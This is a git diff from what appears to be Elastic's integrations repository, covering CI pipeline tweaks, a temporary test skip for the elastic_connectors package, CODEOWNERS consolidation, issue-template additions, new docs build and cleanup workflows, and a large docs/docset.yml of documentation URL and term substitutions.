diff --git a/.buildkite/pipeline.schedule-daily.yml b/.buildkite/pipeline.schedule-daily.yml
index 84fe6a9c0e7..0edfa787ff7 100644
--- a/.buildkite/pipeline.schedule-daily.yml
+++ b/.buildkite/pipeline.schedule-daily.yml
@@ -21,7 +21,7 @@ steps:
env:
SERVERLESS: "false"
FORCE_CHECK_ALL: "true"
- STACK_VERSION: 7.17.28-SNAPSHOT
+ STACK_VERSION: 7.17.28
depends_on:
- step: "check"
allow_failure: false
diff --git a/.buildkite/scripts/common.sh b/.buildkite/scripts/common.sh
index 9bcad94f6c6..0193c26770e 100755
--- a/.buildkite/scripts/common.sh
+++ b/.buildkite/scripts/common.sh
@@ -858,6 +858,12 @@ run_tests_package() {
if ! skip_installation_step "${package}" ; then
echo "--- [${package}] test installation"
if ! install_package "${package}" ; then
+ if [[ "${package}" == "elastic_connectors" ]]; then
+ # TODO: Remove this skip once elastic_connectors can be installed again
+ # For reference: https://github.com/elastic/kibana/pull/211419
+ echo "[${package}]: Known issue when package is installed - skipped all tests"
+ return 0
+ fi
return 1
fi
fi
diff --git a/.buildkite/scripts/test_one_package.sh b/.buildkite/scripts/test_one_package.sh
index 50c5f4043af..2c6315030d2 100755
--- a/.buildkite/scripts/test_one_package.sh
+++ b/.buildkite/scripts/test_one_package.sh
@@ -35,8 +35,11 @@ with_kubernetes
use_elastic_package
pushd packages > /dev/null
+exit_code=0
if ! process_package "${package}" "${from}" "${to}"; then
echo "[${package}] failed"
- exit 1
+ exit_code=1
fi
popd > /dev/null
+
+exit "${exit_code}"
diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
index 7aed4cd3728..593aca1d465 100644
--- a/.github/CODEOWNERS
+++ b/.github/CODEOWNERS
@@ -464,26 +464,4 @@
/packages/zscaler_zpa @elastic/security-service-integrations
/packages/cisco_meraki_metrics @elastic/obs-infraobs-integrations
/packages/panw_metrics @elastic/obs-infraobs-integrations
-/packages/o365_metrics @elastic/obs-infraobs-integrations @elastic/security-service-integrations
-/packages/o365_metrics/data_stream/active_users_services_user_counts @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/groups_activity_group_detail @elastic/security-service-integrations
-/packages/o365_metrics/data_stream/onedrive_usage_account_counts @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/onedrive_usage_file_counts @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/onedrive_usage_storage @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/onedrive_usage_account_detail @elastic/security-service-integrations
-/packages/o365_metrics/data_stream/outlook_activity @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/outlook_app_usage @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/sharepoint_site_usage_storage @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/sharepoint_site_usage_detail @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/mailbox_usage_detail @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/mailbox_usage_quota_status @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/outlook_app_usage_version_counts @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/teams_device_usage_user_counts @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/teams_user_activity_user_counts @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/teams_user_activity_user_detail @elastic/security-service-integrations
-/packages/o365_metrics/data_stream/viva_engage_groups_activity_group_detail @elastic/security-service-integrations
-/packages/o365_metrics/data_stream/yammer_device_usage @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/service_health @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/viva_engage_device_usage_user_counts @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/subscriptions @elastic/obs-infraobs-integrations
-/packages/o365_metrics/data_stream/teams_call_quality @elastic/obs-infraobs-integrations
+/packages/o365_metrics @elastic/obs-infraobs-integrations
diff --git a/.github/ISSUE_TEMPLATE/integration_bug.yml b/.github/ISSUE_TEMPLATE/integration_bug.yml
index 7c35823a18d..3c40363349e 100644
--- a/.github/ISSUE_TEMPLATE/integration_bug.yml
+++ b/.github/ISSUE_TEMPLATE/integration_bug.yml
@@ -16,6 +16,7 @@ body:
- 1Password [1password]
- Abnormal Security [abnormal_security]
- ActiveMQ [activemq]
+ - Admin By Request EPM [admin_by_request_epm]
- Airflow [airflow]
- Akamai [akamai]
- Amazon Security Lake [amazon_security_lake]
@@ -34,6 +35,7 @@ body:
- AWS [aws]
- Amazon Bedrock [aws_bedrock]
- Custom AWS Logs [aws_logs]
+ - Amazon MQ [aws_mq]
- AWS Fargate (for ECS clusters) [awsfargate]
- Amazon Data Firehose [awsfirehose]
- Azure Logs [azure]
diff --git a/.github/ISSUE_TEMPLATE/integration_feature_request.yml b/.github/ISSUE_TEMPLATE/integration_feature_request.yml
index 2e05c2e55f2..8ff73dd5889 100644
--- a/.github/ISSUE_TEMPLATE/integration_feature_request.yml
+++ b/.github/ISSUE_TEMPLATE/integration_feature_request.yml
@@ -16,6 +16,7 @@ body:
- 1Password [1password]
- Abnormal Security [abnormal_security]
- ActiveMQ [activemq]
+ - Admin By Request EPM [admin_by_request_epm]
- Airflow [airflow]
- Akamai [akamai]
- Amazon Security Lake [amazon_security_lake]
@@ -34,6 +35,7 @@ body:
- AWS [aws]
- Amazon Bedrock [aws_bedrock]
- Custom AWS Logs [aws_logs]
+ - Amazon MQ [aws_mq]
- AWS Fargate (for ECS clusters) [awsfargate]
- Amazon Data Firehose [awsfirehose]
- Azure Logs [azure]
diff --git a/.github/workflows/bump-elastic-stack-version.yml b/.github/workflows/bump-elastic-stack-version.yml
index 2640336d655..2de07644648 100644
--- a/.github/workflows/bump-elastic-stack-version.yml
+++ b/.github/workflows/bump-elastic-stack-version.yml
@@ -25,7 +25,7 @@ jobs:
- uses: actions/checkout@v4
- name: Install Updatecli in the runner
- uses: updatecli/updatecli-action@79983ec58a76fe0c87fc76f5a5c7ef8df0bb36c4 #v2.77.0
+ uses: updatecli/updatecli-action@d2e5d2667ba67a8599e636531baef731f54858bc #v2.78.1
- name: Select diff action
if: ${{ github.event_name == 'pull_request' }}
diff --git a/.github/workflows/docs-build.yml b/.github/workflows/docs-build.yml
new file mode 100644
index 00000000000..bb466166d0e
--- /dev/null
+++ b/.github/workflows/docs-build.yml
@@ -0,0 +1,19 @@
+name: docs-build
+
+on:
+ push:
+ branches:
+ - main
+ pull_request_target: ~
+ merge_group: ~
+
+jobs:
+ docs-preview:
+ uses: elastic/docs-builder/.github/workflows/preview-build.yml@main
+ with:
+ path-pattern: docs/**
+ permissions:
+ deployments: write
+ id-token: write
+ contents: read
+ pull-requests: read
diff --git a/.github/workflows/docs-cleanup.yml b/.github/workflows/docs-cleanup.yml
new file mode 100644
index 00000000000..f83e017b5f7
--- /dev/null
+++ b/.github/workflows/docs-cleanup.yml
@@ -0,0 +1,14 @@
+name: docs-cleanup
+
+on:
+ pull_request_target:
+ types:
+ - closed
+
+jobs:
+ docs-preview:
+ uses: elastic/docs-builder/.github/workflows/preview-cleanup.yml@main
+ permissions:
+ contents: none
+ id-token: write
+ deployments: write
diff --git a/.github/workflows/updatecli/updatecli.d/bump-latest-7x-version.yml b/.github/workflows/updatecli/updatecli.d/bump-latest-7x-version.yml
index a5d83b4fa81..4015652460d 100644
--- a/.github/workflows/updatecli/updatecli.d/bump-latest-7x-version.yml
+++ b/.github/workflows/updatecli/updatecli.d/bump-latest-7x-version.yml
@@ -27,10 +27,14 @@ scms:
sources:
latest7xSnapshot:
name: Get latest 7.x snapshot
- kind: json
+ kind: file
spec:
- file: https://storage.googleapis.com/artifacts-api/snapshots/7.17.json
- key: .version
+ file: https://storage.googleapis.com/artifacts-api/releases/current/7.17
+ transformers:
+ # Get only the version to avoid spaces and newlines.
+ - findsubmatch:
+ pattern: '([0-9\.]+)'
+ captureindex: 1
targets:
update-7x-version:
diff --git a/docs/docset.yml b/docs/docset.yml
new file mode 100644
index 00000000000..2b82d085fc1
--- /dev/null
+++ b/docs/docset.yml
@@ -0,0 +1,508 @@
+project: 'Integration developer guide'
+exclude:
+ - ci_pipelines.md
+ - dashboard_guidelines.md
+ - definitions.md
+ - developer_tsdb_migration_guidelines.md
+ - developer_workflow_bug_fix_older_package_version.md
+ - developer_workflow_design_build_test_integration.md
+ - developer_workflow_fleet_ui.md
+ - documentation_guidelines.md
+ - ecs@mappings_migration_guide.md
+ - fine_tune_integration.md
+ - generic_guidelines.md
+ - how_to_test_new_indexing_features.md
+ - import_from_beats.md
+ - subobjects_adoption_guide.md
+ - testing_and_validation.md
+ - tips_for_building_integrations.md
+cross_links:
+ - docs-content
+ - ecs
+ - elasticsearch
+toc:
+ - toc: extend
+subs:
+ ref: "https://www.elastic.co/guide/en/elasticsearch/reference/current"
+ ref-bare: "https://www.elastic.co/guide/en/elasticsearch/reference"
+ ref-8x: "https://www.elastic.co/guide/en/elasticsearch/reference/8.1"
+ ref-80: "https://www.elastic.co/guide/en/elasticsearch/reference/8.0"
+ ref-7x: "https://www.elastic.co/guide/en/elasticsearch/reference/7.17"
+ ref-70: "https://www.elastic.co/guide/en/elasticsearch/reference/7.0"
+ ref-60: "https://www.elastic.co/guide/en/elasticsearch/reference/6.0"
+ ref-64: "https://www.elastic.co/guide/en/elasticsearch/reference/6.4"
+ xpack-ref: "https://www.elastic.co/guide/en/x-pack/6.2"
+ logstash-ref: "https://www.elastic.co/guide/en/logstash/current"
+ kibana-ref: "https://www.elastic.co/guide/en/kibana/current"
+ kibana-ref-all: "https://www.elastic.co/guide/en/kibana"
+ beats-ref-root: "https://www.elastic.co/guide/en/beats"
+ beats-ref: "https://www.elastic.co/guide/en/beats/libbeat/current"
+ beats-ref-60: "https://www.elastic.co/guide/en/beats/libbeat/6.0"
+ beats-ref-63: "https://www.elastic.co/guide/en/beats/libbeat/6.3"
+ beats-devguide: "https://www.elastic.co/guide/en/beats/devguide/current"
+ auditbeat-ref: "https://www.elastic.co/guide/en/beats/auditbeat/current"
+ packetbeat-ref: "https://www.elastic.co/guide/en/beats/packetbeat/current"
+ metricbeat-ref: "https://www.elastic.co/guide/en/beats/metricbeat/current"
+ filebeat-ref: "https://www.elastic.co/guide/en/beats/filebeat/current"
+ functionbeat-ref: "https://www.elastic.co/guide/en/beats/functionbeat/current"
+ winlogbeat-ref: "https://www.elastic.co/guide/en/beats/winlogbeat/current"
+ heartbeat-ref: "https://www.elastic.co/guide/en/beats/heartbeat/current"
+ journalbeat-ref: "https://www.elastic.co/guide/en/beats/journalbeat/current"
+ ingest-guide: "https://www.elastic.co/guide/en/ingest/current"
+ fleet-guide: "https://www.elastic.co/guide/en/fleet/current"
+ apm-guide-ref: "https://www.elastic.co/guide/en/apm/guide/current"
+ apm-guide-7x: "https://www.elastic.co/guide/en/apm/guide/7.17"
+ apm-app-ref: "https://www.elastic.co/guide/en/kibana/current"
+ apm-agents-ref: "https://www.elastic.co/guide/en/apm/agent"
+ apm-android-ref: "https://www.elastic.co/guide/en/apm/agent/android/current"
+ apm-py-ref: "https://www.elastic.co/guide/en/apm/agent/python/current"
+ apm-py-ref-3x: "https://www.elastic.co/guide/en/apm/agent/python/3.x"
+ apm-node-ref-index: "https://www.elastic.co/guide/en/apm/agent/nodejs"
+ apm-node-ref: "https://www.elastic.co/guide/en/apm/agent/nodejs/current"
+ apm-node-ref-1x: "https://www.elastic.co/guide/en/apm/agent/nodejs/1.x"
+ apm-rum-ref: "https://www.elastic.co/guide/en/apm/agent/rum-js/current"
+ apm-ruby-ref: "https://www.elastic.co/guide/en/apm/agent/ruby/current"
+ apm-java-ref: "https://www.elastic.co/guide/en/apm/agent/java/current"
+ apm-go-ref: "https://www.elastic.co/guide/en/apm/agent/go/current"
+ apm-dotnet-ref: "https://www.elastic.co/guide/en/apm/agent/dotnet/current"
+ apm-php-ref: "https://www.elastic.co/guide/en/apm/agent/php/current"
+ apm-ios-ref: "https://www.elastic.co/guide/en/apm/agent/swift/current"
+ apm-lambda-ref: "https://www.elastic.co/guide/en/apm/lambda/current"
+ apm-attacher-ref: "https://www.elastic.co/guide/en/apm/attacher/current"
+ docker-logging-ref: "https://www.elastic.co/guide/en/beats/loggingplugin/current"
+ esf-ref: "https://www.elastic.co/guide/en/esf/current"
+ kinesis-firehose-ref: "https://www.elastic.co/guide/en/kinesis/{{kinesis_version}}"
+ estc-welcome-current: "https://www.elastic.co/guide/en/starting-with-the-elasticsearch-platform-and-its-solutions/current"
+ estc-welcome: "https://www.elastic.co/guide/en/starting-with-the-elasticsearch-platform-and-its-solutions/current"
+ estc-welcome-all: "https://www.elastic.co/guide/en/starting-with-the-elasticsearch-platform-and-its-solutions"
+ hadoop-ref: "https://www.elastic.co/guide/en/elasticsearch/hadoop/current"
+ stack-ref: "https://www.elastic.co/guide/en/elastic-stack/current"
+ stack-ref-67: "https://www.elastic.co/guide/en/elastic-stack/6.7"
+ stack-ref-68: "https://www.elastic.co/guide/en/elastic-stack/6.8"
+ stack-ref-70: "https://www.elastic.co/guide/en/elastic-stack/7.0"
+ stack-ref-80: "https://www.elastic.co/guide/en/elastic-stack/8.0"
+ stack-ov: "https://www.elastic.co/guide/en/elastic-stack-overview/current"
+ stack-gs: "https://www.elastic.co/guide/en/elastic-stack-get-started/current"
+ stack-gs-current: "https://www.elastic.co/guide/en/elastic-stack-get-started/current"
+ javaclient: "https://www.elastic.co/guide/en/elasticsearch/client/java-api/current"
+ java-api-client: "https://www.elastic.co/guide/en/elasticsearch/client/java-api-client/current"
+ java-rest: "https://www.elastic.co/guide/en/elasticsearch/client/java-rest/current"
+ jsclient: "https://www.elastic.co/guide/en/elasticsearch/client/javascript-api/current"
+ jsclient-current: "https://www.elastic.co/guide/en/elasticsearch/client/javascript-api/current"
+ es-ruby-client: "https://www.elastic.co/guide/en/elasticsearch/client/ruby-api/current"
+ es-dotnet-client: "https://www.elastic.co/guide/en/elasticsearch/client/net-api/current"
+ es-php-client: "https://www.elastic.co/guide/en/elasticsearch/client/php-api/current"
+ es-python-client: "https://www.elastic.co/guide/en/elasticsearch/client/python-api/current"
+ defguide: "https://www.elastic.co/guide/en/elasticsearch/guide/2.x"
+ painless: "https://www.elastic.co/guide/en/elasticsearch/painless/current"
+ plugins: "https://www.elastic.co/guide/en/elasticsearch/plugins/current"
+ plugins-8x: "https://www.elastic.co/guide/en/elasticsearch/plugins/8.1"
+ plugins-7x: "https://www.elastic.co/guide/en/elasticsearch/plugins/7.17"
+ plugins-6x: "https://www.elastic.co/guide/en/elasticsearch/plugins/6.8"
+ glossary: "https://www.elastic.co/guide/en/elastic-stack-glossary/current"
+ upgrade_guide: "https://www.elastic.co/products/upgrade_guide"
+ blog-ref: "https://www.elastic.co/blog/"
+ curator-ref: "https://www.elastic.co/guide/en/elasticsearch/client/curator/current"
+ curator-ref-current: "https://www.elastic.co/guide/en/elasticsearch/client/curator/current"
+ metrics-ref: "https://www.elastic.co/guide/en/metrics/current"
+ metrics-guide: "https://www.elastic.co/guide/en/metrics/guide/current"
+ logs-ref: "https://www.elastic.co/guide/en/logs/current"
+ logs-guide: "https://www.elastic.co/guide/en/logs/guide/current"
+ uptime-guide: "https://www.elastic.co/guide/en/uptime/current"
+ observability-guide: "https://www.elastic.co/guide/en/observability/current"
+ observability-guide-all: "https://www.elastic.co/guide/en/observability"
+ siem-guide: "https://www.elastic.co/guide/en/siem/guide/current"
+ security-guide: "https://www.elastic.co/guide/en/security/current"
+ security-guide-all: "https://www.elastic.co/guide/en/security"
+ endpoint-guide: "https://www.elastic.co/guide/en/endpoint/current"
+ sql-odbc: "https://www.elastic.co/guide/en/elasticsearch/sql-odbc/current"
+ ecs-ref: "https://www.elastic.co/guide/en/ecs/current"
+ ecs-logging-ref: "https://www.elastic.co/guide/en/ecs-logging/overview/current"
+ ecs-logging-go-logrus-ref: "https://www.elastic.co/guide/en/ecs-logging/go-logrus/current"
+ ecs-logging-go-zap-ref: "https://www.elastic.co/guide/en/ecs-logging/go-zap/current"
+ ecs-logging-go-zerolog-ref: "https://www.elastic.co/guide/en/ecs-logging/go-zap/current"
+ ecs-logging-java-ref: "https://www.elastic.co/guide/en/ecs-logging/java/current"
+ ecs-logging-dotnet-ref: "https://www.elastic.co/guide/en/ecs-logging/dotnet/current"
+ ecs-logging-nodejs-ref: "https://www.elastic.co/guide/en/ecs-logging/nodejs/current"
+ ecs-logging-php-ref: "https://www.elastic.co/guide/en/ecs-logging/php/current"
+ ecs-logging-python-ref: "https://www.elastic.co/guide/en/ecs-logging/python/current"
+ ecs-logging-ruby-ref: "https://www.elastic.co/guide/en/ecs-logging/ruby/current"
+ ml-docs: "https://www.elastic.co/guide/en/machine-learning/current"
+ eland-docs: "https://www.elastic.co/guide/en/elasticsearch/client/eland/current"
+ eql-ref: "https://eql.readthedocs.io/en/latest/query-guide"
+ extendtrial: "https://www.elastic.co/trialextension"
+ wikipedia: "https://en.wikipedia.org/wiki"
+ forum: "https://discuss.elastic.co/"
+ xpack-forum: "https://discuss.elastic.co/c/50-x-pack"
+ security-forum: "https://discuss.elastic.co/c/x-pack/shield"
+ watcher-forum: "https://discuss.elastic.co/c/x-pack/watcher"
+ monitoring-forum: "https://discuss.elastic.co/c/x-pack/marvel"
+ graph-forum: "https://discuss.elastic.co/c/x-pack/graph"
+ apm-forum: "https://discuss.elastic.co/c/apm"
+ enterprise-search-ref: "https://www.elastic.co/guide/en/enterprise-search/current"
+ app-search-ref: "https://www.elastic.co/guide/en/app-search/current"
+ workplace-search-ref: "https://www.elastic.co/guide/en/workplace-search/current"
+ enterprise-search-node-ref: "https://www.elastic.co/guide/en/enterprise-search-clients/enterprise-search-node/current"
+ enterprise-search-php-ref: "https://www.elastic.co/guide/en/enterprise-search-clients/php/current"
+ enterprise-search-python-ref: "https://www.elastic.co/guide/en/enterprise-search-clients/python/current"
+ enterprise-search-ruby-ref: "https://www.elastic.co/guide/en/enterprise-search-clients/ruby/current"
+ elastic-maps-service: "https://maps.elastic.co"
+ integrations-docs: "https://docs.elastic.co/en/integrations"
+ integrations-devguide: "https://www.elastic.co/guide/en/integrations-developer/current"
+ time-units: "https://www.elastic.co/guide/en/elasticsearch/reference/current/api-conventions.html#time-units"
+ byte-units: "https://www.elastic.co/guide/en/elasticsearch/reference/current/api-conventions.html#byte-units"
+ apm-py-ref-v: "https://www.elastic.co/guide/en/apm/agent/python/current"
+ apm-node-ref-v: "https://www.elastic.co/guide/en/apm/agent/nodejs/current"
+ apm-rum-ref-v: "https://www.elastic.co/guide/en/apm/agent/rum-js/current"
+ apm-ruby-ref-v: "https://www.elastic.co/guide/en/apm/agent/ruby/current"
+ apm-java-ref-v: "https://www.elastic.co/guide/en/apm/agent/java/current"
+ apm-go-ref-v: "https://www.elastic.co/guide/en/apm/agent/go/current"
+ apm-ios-ref-v: "https://www.elastic.co/guide/en/apm/agent/swift/current"
+ apm-dotnet-ref-v: "https://www.elastic.co/guide/en/apm/agent/dotnet/current"
+ apm-php-ref-v: "https://www.elastic.co/guide/en/apm/agent/php/current"
+ ecloud: "Elastic Cloud"
+ esf: "Elastic Serverless Forwarder"
+ ess: "Elasticsearch Service"
+ ece: "Elastic Cloud Enterprise"
+ eck: "Elastic Cloud on Kubernetes"
+ serverless-full: "Elastic Cloud Serverless"
+ serverless-short: "Serverless"
+ es-serverless: "Elasticsearch Serverless"
+ es3: "Elasticsearch Serverless"
+ obs-serverless: "Elastic Observability Serverless"
+ sec-serverless: "Elastic Security Serverless"
+ serverless-docs: "https://docs.elastic.co/serverless"
+ cloud: "https://www.elastic.co/guide/en/cloud/current"
+ ess-utm-params: "?page=docs&placement=docs-body"
+ ess-baymax: "?page=docs&placement=docs-body"
+ ess-trial: "https://cloud.elastic.co/registration?page=docs&placement=docs-body"
+ ess-product: "https://www.elastic.co/cloud/elasticsearch-service?page=docs&placement=docs-body"
+ ess-console: "https://cloud.elastic.co?page=docs&placement=docs-body"
+ ess-console-name: "Elasticsearch Service Console"
+ ess-deployments: "https://cloud.elastic.co/deployments?page=docs&placement=docs-body"
+ ece-ref: "https://www.elastic.co/guide/en/cloud-enterprise/current"
+ eck-ref: "https://www.elastic.co/guide/en/cloud-on-k8s/current"
+ ess-leadin: "You can run Elasticsearch on your own hardware or use our hosted Elasticsearch Service that is available on AWS, GCP, and Azure. https://cloud.elastic.co/registration{ess-utm-params}[Try the Elasticsearch Service for free]."
+ ess-leadin-short: "Our hosted Elasticsearch Service is available on AWS, GCP, and Azure, and you can https://cloud.elastic.co/registration{ess-utm-params}[try it for free]."
+ ess-icon: "image:https://doc-icons.s3.us-east-2.amazonaws.com/logo_cloud.svg[link=\"https://cloud.elastic.co/registration{ess-utm-params}\", title=\"Supported on Elasticsearch Service\"]"
+ ece-icon: "image:https://doc-icons.s3.us-east-2.amazonaws.com/logo_cloud_ece.svg[link=\"https://cloud.elastic.co/registration{ess-utm-params}\", title=\"Supported on Elastic Cloud Enterprise\"]"
+ cloud-only: "This feature is designed for indirect use by https://cloud.elastic.co/registration{ess-utm-params}[Elasticsearch Service], https://www.elastic.co/guide/en/cloud-enterprise/{ece-version-link}[Elastic Cloud Enterprise], and https://www.elastic.co/guide/en/cloud-on-k8s/current[Elastic Cloud on Kubernetes]. Direct use is not supported."
+ ess-setting-change: "image:https://doc-icons.s3.us-east-2.amazonaws.com/logo_cloud.svg[link=\"{ess-trial}\", title=\"Supported on {ess}\"] indicates a change to a supported https://www.elastic.co/guide/en/cloud/current/ec-add-user-settings.html[user setting] for Elasticsearch Service."
+ ess-skip-section: "If you use Elasticsearch Service, skip this section. Elasticsearch Service handles these changes for you."
+ api-cloud: "https://www.elastic.co
+ - api/doc/cloud"
+ api-ece: "https://www.elastic.co
+ - api/doc/cloud-enterprise"
+ api-kibana-serverless: "https://www.elastic.co
+ - api/doc/serverless"
+ es-feature-flag: "This feature is in development and not yet available for use. This documentation is provided for informational purposes only."
+ es-ref-dir: "'{{elasticsearch-root}}
+ - reference'"
+ apm-app: "APM app"
+ uptime-app: "Uptime app"
+ synthetics-app: "Synthetics app"
+ logs-app: "Logs app"
+ metrics-app: "Metrics app"
+ infrastructure-app: "Infrastructure app"
+ siem-app: "SIEM app"
+ security-app: "Elastic Security app"
+ ml-app: "Machine Learning"
+ dev-tools-app: "Dev Tools"
+ ingest-manager-app: "Ingest Manager"
+ stack-manage-app: "Stack Management"
+ stack-monitor-app: "Stack Monitoring"
+ alerts-ui: "Alerts and Actions"
+ rules-ui: "Rules"
+ rac-ui: "Rules and Connectors"
+ connectors-ui: "Connectors"
+ connectors-feature: "Actions and Connectors"
+ stack-rules-feature: "Stack Rules"
+ user-experience: "User Experience"
+ ems: "Elastic Maps Service"
+ ems-init: "EMS"
+ hosted-ems: "Elastic Maps Server"
+ ipm-app: "Index Pattern Management"
+ ingest-pipelines: "ingest pipelines"
+ ingest-pipelines-app: "Ingest Pipelines"
+ ingest-pipelines-cap: "Ingest pipelines"
+ ls-pipelines: "Logstash pipelines"
+ ls-pipelines-app: "Logstash Pipelines"
+ maint-windows: "maintenance windows"
+ maint-windows-app: "Maintenance Windows"
+ maint-windows-cap: "Maintenance windows"
+ custom-roles-app: "Custom Roles"
+ data-source: "data view"
+ data-sources: "data views"
+ data-source-caps: "Data View"
+ data-sources-caps: "Data Views"
+ data-source-cap: "Data view"
+ data-sources-cap: "Data views"
+ project-settings: "Project settings"
+ manage-app: "Management"
+ index-manage-app: "Index Management"
+ data-views-app: "Data Views"
+ rules-app: "Rules"
+ saved-objects-app: "Saved Objects"
+ tags-app: "Tags"
+ api-keys-app: "API keys"
+ transforms-app: "Transforms"
+ connectors-app: "Connectors"
+ files-app: "Files"
+ reports-app: "Reports"
+ maps-app: "Maps"
+ alerts-app: "Alerts"
+ crawler: "Enterprise Search web crawler"
+ ents: "Enterprise Search"
+ app-search-crawler: "App Search web crawler"
+ agent: "Elastic Agent"
+ agents: "Elastic Agents"
+ fleet: "Fleet"
+ fleet-server: "Fleet Server"
+ integrations-server: "Integrations Server"
+ ingest-manager: "Ingest Manager"
+ ingest-management: "ingest management"
+ package-manager: "Elastic Package Manager"
+ integrations: "Integrations"
+ package-registry: "Elastic Package Registry"
+ artifact-registry: "Elastic Artifact Registry"
+ aws: "AWS"
+ stack: "Elastic Stack"
+ xpack: "X-Pack"
+ es: "Elasticsearch"
+ kib: "Kibana"
+ esms: "Elastic Stack Monitoring Service"
+ esms-init: "ESMS"
+ ls: "Logstash"
+ beats: "Beats"
+ auditbeat: "Auditbeat"
+ filebeat: "Filebeat"
+ heartbeat: "Heartbeat"
+ metricbeat: "Metricbeat"
+ packetbeat: "Packetbeat"
+ winlogbeat: "Winlogbeat"
+ functionbeat: "Functionbeat"
+ journalbeat: "Journalbeat"
+ es-sql: "Elasticsearch SQL"
+ esql: "ES|QL"
+ elastic-agent: "Elastic Agent"
+ k8s: "Kubernetes"
+ log-driver-long: "Elastic Logging Plugin for Docker"
+ security: "X-Pack security"
+ security-features: "security features"
+ operator-feature: "operator privileges feature"
+ es-security-features: "Elasticsearch security features"
+ stack-security-features: "Elastic Stack security features"
+ endpoint-sec: "Endpoint Security"
+ endpoint-cloud-sec: "Endpoint and Cloud Security"
+ elastic-defend: "Elastic Defend"
+ elastic-sec: "Elastic Security"
+ elastic-endpoint: "Elastic Endpoint"
+ swimlane: "Swimlane"
+ sn: "ServiceNow"
+ sn-itsm: "ServiceNow ITSM"
+ sn-itom: "ServiceNow ITOM"
+ sn-sir: "ServiceNow SecOps"
+ jira: "Jira"
+ ibm-r: "IBM Resilient"
+ webhook: "Webhook"
+ webhook-cm: "Webhook - Case Management"
+ opsgenie: "Opsgenie"
+ bedrock: "Amazon Bedrock"
+ gemini: "Google Gemini"
+ hive: "TheHive"
+ monitoring: "X-Pack monitoring"
+ monitor-features: "monitoring features"
+ stack-monitor-features: "Elastic Stack monitoring features"
+ watcher: "Watcher"
+ alert-features: "alerting features"
+ reporting: "X-Pack reporting"
+ report-features: "reporting features"
+ graph: "X-Pack graph"
+ graph-features: "graph analytics features"
+ searchprofiler: "Search Profiler"
+ xpackml: "X-Pack machine learning"
+ ml: "machine learning"
+ ml-cap: "Machine learning"
+ ml-init: "ML"
+ ml-features: "machine learning features"
+ stack-ml-features: "Elastic Stack machine learning features"
+ ccr: "cross-cluster replication"
+ ccr-cap: "Cross-cluster replication"
+ ccr-init: "CCR"
+ ccs: "cross-cluster search"
+ ccs-cap: "Cross-cluster search"
+ ccs-init: "CCS"
+ ilm: "index lifecycle management"
+ ilm-cap: "Index lifecycle management"
+ ilm-init: "ILM"
+ dlm: "data lifecycle management"
+ dlm-cap: "Data lifecycle management"
+ dlm-init: "DLM"
+ search-snap: "searchable snapshot"
+ search-snaps: "searchable snapshots"
+ search-snaps-cap: "Searchable snapshots"
+ slm: "snapshot lifecycle management"
+ slm-cap: "Snapshot lifecycle management"
+ slm-init: "SLM"
+ rollup-features: "data rollup features"
+ ipm: "index pattern management"
+ ipm-cap: "Index pattern"
+ rollup: "rollup"
+ rollup-cap: "Rollup"
+ rollups: "rollups"
+ rollups-cap: "Rollups"
+ rollup-job: "rollup job"
+ rollup-jobs: "rollup jobs"
+ rollup-jobs-cap: "Rollup jobs"
+ dfeed: "datafeed"
+ dfeeds: "datafeeds"
+ dfeed-cap: "Datafeed"
+ dfeeds-cap: "Datafeeds"
+ ml-jobs: "machine learning jobs"
+ ml-jobs-cap: "Machine learning jobs"
+ anomaly-detect: "anomaly detection"
+ anomaly-detect-cap: "Anomaly detection"
+ anomaly-job: "anomaly detection job"
+ anomaly-jobs: "anomaly detection jobs"
+ anomaly-jobs-cap: "Anomaly detection jobs"
+ dataframe: "data frame"
+ dataframes: "data frames"
+ dataframe-cap: "Data frame"
+ dataframes-cap: "Data frames"
+ watcher-transform: "payload transform"
+ watcher-transforms: "payload transforms"
+ watcher-transform-cap: "Payload transform"
+ watcher-transforms-cap: "Payload transforms"
+ transform: "transform"
+ transforms: "transforms"
+ transform-cap: "Transform"
+ transforms-cap: "Transforms"
+ dataframe-transform: "transform"
+ dataframe-transform-cap: "Transform"
+ dataframe-transforms: "transforms"
+ dataframe-transforms-cap: "Transforms"
+ dfanalytics-cap: "Data frame analytics"
+ dfanalytics: "data frame analytics"
+ dataframe-analytics-config: "'{dataframe} analytics config'"
+ dfanalytics-job: "'{dataframe} analytics job'"
+ dfanalytics-jobs: "'{dataframe} analytics jobs'"
+ dfanalytics-jobs-cap: "'{dataframe-cap} analytics jobs'"
+ cdataframe: "continuous data frame"
+ cdataframes: "continuous data frames"
+ cdataframe-cap: "Continuous data frame"
+ cdataframes-cap: "Continuous data frames"
+ cdataframe-transform: "continuous transform"
+ cdataframe-transforms: "continuous transforms"
+ cdataframe-transforms-cap: "Continuous transforms"
+ ctransform: "continuous transform"
+ ctransform-cap: "Continuous transform"
+ ctransforms: "continuous transforms"
+ ctransforms-cap: "Continuous transforms"
+ oldetection: "outlier detection"
+ oldetection-cap: "Outlier detection"
+ olscore: "outlier score"
+ olscores: "outlier scores"
+ fiscore: "feature influence score"
+ evaluatedf-api: "evaluate {dataframe} analytics API"
+ evaluatedf-api-cap: "Evaluate {dataframe} analytics API"
+ binarysc: "binary soft classification"
+ binarysc-cap: "Binary soft classification"
+ regression: "regression"
+ regression-cap: "Regression"
+ reganalysis: "regression analysis"
+ reganalysis-cap: "Regression analysis"
+ depvar: "dependent variable"
+ feature-var: "feature variable"
+ feature-vars: "feature variables"
+ feature-vars-cap: "Feature variables"
+ classification: "classification"
+ classification-cap: "Classification"
+ classanalysis: "classification analysis"
+ classanalysis-cap: "Classification analysis"
+ infer-cap: "Inference"
+ infer: "inference"
